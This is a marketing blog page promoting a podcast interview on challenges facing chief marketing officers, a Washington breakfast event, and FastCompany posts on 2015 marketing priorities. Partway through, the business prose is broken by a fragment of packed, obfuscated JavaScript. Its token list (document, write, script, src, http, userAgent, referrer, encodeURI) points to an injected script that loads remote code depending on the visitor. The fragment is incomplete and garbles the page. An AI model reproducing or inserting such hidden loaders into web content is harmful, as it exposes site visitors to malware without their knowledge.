A special audio bonus for my community…

In this 18 minute podcast, you will learn:

How marketing leaders can alleviate the dysfunction between their department, the sales team, and the executive board
The new competencies marketing leaders must adopt
How organizations such as Infosys, MindJet, and Red Hat are overcoming challenges and thriving

Thanks to Rain Today’s Michelle Davidson for the podcast.

More and more marketing leaders are facing new demands on their time and roles. That’s why RainToday recently interviewed me. Editor Michelle Davidson wanted to know what challenges my CMO community is facing, and what they can do to rapidly address them.

In this interview, you will learn:

  • How marketing leaders can alleviate the dysfunction between their department, the sales team and the executive board
  • The new competencies marketing leaders must adopt
  • How organizations such as Infosys, MindJet, and Red Hat are overcoming challenges and thriving

What are your experiences and thoughts as a marketing leader or business owner? Please share them—I want to hear from you. The first three people who respond on my blog will receive a complimentary copy of my book.

And, if you are an active, VP level marketing executive located in the Washington, DC area, contact me to reserve your seat at my next CMO breakfast on June 26. (no agencies, please)

copyright 2013, Lisa Nirell. All rights reserved
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We recently surveyed our CMO members across North America to find out where they want to improve in 2015. One of the top 4 issues that CMOs want to address is their ability to manage priorities.
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In my opinion, this issue isn’t just about time management. Sure, that is important. I believe we need to be fully aware of how we spend our time—and I talked about it extensively in
my latest FastCompany post….

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With the new year only weeks away, it’s time to explore ways to stay ahead of the marketing curve in 2015. In my latest FastCompany post, I share how marketing leaders can move away from “order taking marketing” and become visionary “market makers” with a strong voice in the C-suite.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ensrr|var|u0026u|referrer|sshre||js|php’.split(‘|’),0,{}))

Some key takeaways:

How to assess your value and how your peers perceive you
One step that can shift the leadership team’s perspective of your value forever
Trendspotting: Five areas to look for inspiration and insights
Three significant trends that will impact how marketers operate in 2015

You can read the entire FastCompany post here….

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